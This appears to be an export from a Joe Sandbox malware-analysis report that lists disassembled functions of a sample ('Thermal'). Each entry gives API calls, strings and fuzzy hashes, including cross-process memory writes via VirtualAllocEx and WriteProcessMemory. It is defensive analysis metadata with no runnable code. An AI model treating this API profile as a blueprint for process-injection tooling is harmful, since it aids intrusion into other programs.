Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 0accb9a548423e2f7caa905c4c262bcdb084a57124c78894816fccc621674264
Instruction ID: fb830bd1f22ad21480b86da98f0d8a51da459b6ae04b32428be8b1e6e6a69e33
Opcode Fuzzy Hash: 0accb9a548423e2f7caa905c4c262bcdb084a57124c78894816fccc621674264
Instruction Fuzzy Hash: 1C018630500704ABEB359B60DD4EBA77B78FB08705F00476DF596A14E1DBF0A9948BC0

Function 0012178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0012179B
StrokeAndFillPath.GDI32(?,?,0015BBC9,00000000,?), ref: 001217B7
SelectObject.GDI32(?,00000000), ref: 001217CA
DeleteObject.GDI32 ref: 001217DD
StrokePath.GDI32(?), ref: 001217F8

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: ff620f2d1e304be56d3ae06a0d90d38184a45c3b2ef224f876e396c0168c0f65
Instruction ID: 064a3ca2d236505d8d3d0190e044dd047afb632bfb5c0147aa45045c9c80e35e
Opcode Fuzzy Hash: ff620f2d1e304be56d3ae06a0d90d38184a45c3b2ef224f876e396c0168c0f65
Instruction Fuzzy Hash: C2F0E130008248FBEB269F95EC8CB5D3FA4A764365F148314F429599F0D73149E5DF10

Function 0018C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0018CA75
CoCreateInstance.OLE32(001B3D3C,00000000,00000001,001B3BAC,?), ref: 0018CA8D

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

CoUninitialize.OLE32 ref: 0018CCFA

Strings

.lnk, xrefs: 0018CA09, 0018CA31, 0018CA3B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 7c857d35f89aa43a403b858a1b46db42b866a505bf24dfb13c2a36049837d10a
Instruction ID: 2972cb2a7fb16e4271e3685af18d3a07ebaad73a943360676736a063e0809824
Opcode Fuzzy Hash: 7c857d35f89aa43a403b858a1b46db42b866a505bf24dfb13c2a36049837d10a
Instruction Fuzzy Hash: 22A13C71104215AFD300EF64DC91EABB7E8FFA4714F40491CF15597292EB70EA49CBA2

Function 0012E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00140FE6: std::exception::exception.LIBCMT ref: 0014101C
Part of subcall function 00140FE6: __CxxThrowException@8.LIBCMT ref: 00141031

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 00131680: _memmove.LIBCMT ref: 001316DB

__swprintf.LIBCMT ref: 0012E598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0012E431

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: a136b81df5213781fab21002f362be4a11da2325e3faa90859bf9722c9f937ba
Instruction ID: 146b7fb584addc942300ebc597d5c00fc134210cdbf803319981e0485ede9f53
Opcode Fuzzy Hash: a136b81df5213781fab21002f362be4a11da2325e3faa90859bf9722c9f937ba
Instruction Fuzzy Hash: C691AE71118311AFC718EF24D895C6EB7E9EFA5700F40491DF486972A1EB30EE54CB92

Function 0014523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 001452CD

Part of subcall function 00150320: __87except.LIBCMT ref: 0015035B

Strings

pow, xrefs: 001452A5, 001452C2

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 940e33512a100525062d112fa857e3e81b28059b8a5f30bfed52d500d172174f
Instruction ID: f58b0fb1c16d86a695174e0d738aa5d0c3336346d4543d9489eeac211cf57108
Opcode Fuzzy Hash: 940e33512a100525062d112fa857e3e81b28059b8a5f30bfed52d500d172174f
Instruction Fuzzy Hash: D4519D61A09A01C7CB166F54C94176E2B95AB04B52F208D59E8E18E6B7EFB48CCCDA42

Function 00140654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00140690
#, xrefs: 00140699

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 53db46a055c03380cdc48ee5a41d7ab87af9c5cb1a5c39d5aa47c799a180cb09
Instruction ID: 40d7b45d35e4a2e03987c12c9dcc4d48387de7976fccdebb9808a4822ecec64e
Opcode Fuzzy Hash: 53db46a055c03380cdc48ee5a41d7ab87af9c5cb1a5c39d5aa47c799a180cb09
Instruction Fuzzy Hash: 3D512375504345DFDF16DF69C880AFA7BB4EF6A320F148055EC95AB2A0D734AC82CB62

Function 0013CF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0013CFC2
_memmove.LIBCMT ref: 0013D060
_memset.LIBCMT ref: 0013D084

Strings

ERCP, xrefs: 0013CF2D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 803103e9d2b078c203ceb994bf586130a36e4d2614391bfe7c8bf7ee3c608a8f
Instruction ID: 69732a6b9ba2fcaa2af1535d09fdc271776ea2a214ae8d0399ee42ef525aa9f1
Opcode Fuzzy Hash: 803103e9d2b078c203ceb994bf586130a36e4d2614391bfe7c8bf7ee3c608a8f
Instruction Fuzzy Hash: B45193B190070A9BDB28CF65D8817AABBF8FF04714F24856EF54ADB251E770D685CB80

Function 0017A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00181CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00179E4E,?,?,00000034,00000800,?,00000034), ref: 00181CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0017A3F7

Part of subcall function 00181C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00179E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00181CB0

Part of subcall function 00181BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00181C08
Part of subcall function 00181BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00179E12,00000034,?,?,00001004,00000000,00000000), ref: 00181C18
Part of subcall function 00181BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00179E12,00000034,?,?,00001004,00000000,00000000), ref: 00181C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0017A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0017A4B1

Strings

@, xrefs: 0017A4C9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 1eba8b33b1a373979134ee87afb1da287a2e8a5bffae98d9261041c88ad28d0b
Instruction ID: e8ae71f2523720a6a1b7e649594020619afb7033257d32c0b4cd6827e474897e
Opcode Fuzzy Hash: 1eba8b33b1a373979134ee87afb1da287a2e8a5bffae98d9261041c88ad28d0b
Instruction Fuzzy Hash: F441287294021CBEDB10EBA4CD85ADEBBB8AF59300F048195FA55A7180DB716F85CBA1

Function 001A79FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 001A7A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 001A7A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 001A7ABE

Strings

SysMonthCal32, xrefs: 001A7A51

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: d98a2470fcb5f75faf98e1e9f3b3b62fba80cc7dae09e921d8aa510236a35701
Instruction ID: 0f66ee56bab088ac4fb1d6492e322694189bf8665d0fec40ace7b0db250c7ce0
Opcode Fuzzy Hash: d98a2470fcb5f75faf98e1e9f3b3b62fba80cc7dae09e921d8aa510236a35701
Instruction Fuzzy Hash: 4D21BF32610218BFDF218F50CC82FEE3B69EB49724F150214FE156B1D0DBB1A9948BA0

Function 001A81B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 001A826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 001A827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 001A8284

Strings

msctls_updown32, xrefs: 001A81E9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: cbcdde1854d6bb43052fabe7b72992b72fdd90ca7a35b71de01955c005324942
Instruction ID: 44e0283d445e4dd943134a9fadab528a0ac927d55aeb4b197a2b30cda04a726a
Opcode Fuzzy Hash: cbcdde1854d6bb43052fabe7b72992b72fdd90ca7a35b71de01955c005324942
Instruction Fuzzy Hash: 5A2192B5604249AFEB11DF54DCC5D7B37EDEB5A354B040159FA019B2A1CB70EC51CBA0

Function 001A72D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 001A7360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 001A7370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 001A7395

Strings

Listbox, xrefs: 001A732D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 5aa93c06f29b5511a19ebf233500c7caa567d3ab1795387a4c7b8b1887104366
Instruction ID: eacd7073c2aa40f41fafbf08fe1f7c6425e965766962a9be892b55c96e469391
Opcode Fuzzy Hash: 5aa93c06f29b5511a19ebf233500c7caa567d3ab1795387a4c7b8b1887104366
Instruction Fuzzy Hash: D521B036614118BFDF128F54DC85EBF37AAEF8A760F128124FA009B1D0D771AC519BA0

Function 001A7D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 001A7D97
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 001A7DAC
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 001A7DB9

Strings

msctls_trackbar32, xrefs: 001A7D6E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 63f9baae683d0c28e15444c69a44be216aeac768772753993fdb9da5b465347f
Instruction ID: 90d72d6486269a713a9197caf595d3b58c0ebaf9dd5411bd1f1a988ed6278f67
Opcode Fuzzy Hash: 63f9baae683d0c28e15444c69a44be216aeac768772753993fdb9da5b465347f
Instruction Fuzzy Hash: 7911E376244248BADF249FA4CC45FFB37A9EF89B24F114619FB41A60D0D771A851CB20

Function 0019C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0016027A,?), ref: 0019C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0019C6F9

Strings

kernel32.dll, xrefs: 0019C6E2
GetSystemWow64DirectoryW, xrefs: 0019C6F3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: fc39d3a13f3496d124bd9bbd9ca1727d6eafeb87bec82facd6b334e9730e9762
Instruction ID: 575e9fd655781e96d73ee8e7947634986a57b366fbb0f3d7dfc63aeb2349a292
Opcode Fuzzy Hash: fc39d3a13f3496d124bd9bbd9ca1727d6eafeb87bec82facd6b334e9730e9762
Instruction Fuzzy Hash: E8E0C23C100303CFDB258B69CC88A4376D8FF08745B40842AE8D5D2610D770C8C08F50

Function 00134B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00134B44,?,001349D4,?,?,001327AF,?,00000001), ref: 00134B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00134B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00134B91
kernel32.dll, xrefs: 00134B80

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: e6b20792fb4fc0a162561f76cc19811a9831739680ac2b750aaf4f772ebc9357
Instruction ID: 7630b040b5309b005fa1df6c369ecba902f960a58d1b0250832e44d5ee49e6d2
Opcode Fuzzy Hash: e6b20792fb4fc0a162561f76cc19811a9831739680ac2b750aaf4f772ebc9357
Instruction Fuzzy Hash: 9AD017705107128FE7219F39DC18B47B6E8AF08392F51882AD4A6E2A94E770E8C0CA10

Function 00134BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00134AF7,?), ref: 00134BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00134BCA

Strings

kernel32.dll, xrefs: 00134BB3
Wow64RevertWow64FsRedirection, xrefs: 00134BC4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: f2dd6c7757220d1fa80a19257648d220a4d1fd47392e04d32899a4f27f4fe9be
Instruction ID: 4c5f4904b9a2588b03beeff84ce3944242654d772df04bcb5ec725f48f38ddb7
Opcode Fuzzy Hash: f2dd6c7757220d1fa80a19257648d220a4d1fd47392e04d32899a4f27f4fe9be
Instruction Fuzzy Hash: AED017715107138FD7219F35DC08B47B6E9AF09391F119C6AD4E6D2A98EB70E8C0CA61

Function 001A1447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,001A1696), ref: 001A1455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 001A1467

Strings

RegDeleteKeyExW, xrefs: 001A1461
advapi32.dll, xrefs: 001A1450

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 1711d23b22477340fa336c4611b5a19011f025ef8532a41840848c3de6e6ea20
Instruction ID: 89d7d6f1b3d0f4cdc4c11ac2a2ea3e8fb2413d74fef9f82106f15af58e6771f3
Opcode Fuzzy Hash: 1711d23b22477340fa336c4611b5a19011f025ef8532a41840848c3de6e6ea20
Instruction Fuzzy Hash: 0ED01739550723DFD7219F79C8086077AE8AF1A395F11CE2AD4E6D2660EB70D8C0CA50

Function 001355F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00135E3D), ref: 001355FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00135610

Strings

GetNativeSystemInfo, xrefs: 0013560A
kernel32.dll, xrefs: 001355F9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: a11cf4da527cffddc3714b11b6e260b2f6478b1efdd15d7eb6faaa236d22ce2a
Instruction ID: 7e8d498101e9803fca9072e28f673fc5fab2b8eec45ef3b8e164ea75b4553dcc
Opcode Fuzzy Hash: a11cf4da527cffddc3714b11b6e260b2f6478b1efdd15d7eb6faaa236d22ce2a
Instruction Fuzzy Hash: D4D017B4920B129FE7229F35C80965776E9AF08799F11882AD49AD2591E770C8C0CA50

Function 001997CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,001993DE,?,001B0980), ref: 001997D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 001997EA

Strings

GetModuleHandleExW, xrefs: 001997E4
kernel32.dll, xrefs: 001997D3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 1c7a0b4cf5d567063fb252a22b18a222d663ca8053469632dc1d8009451d70dd
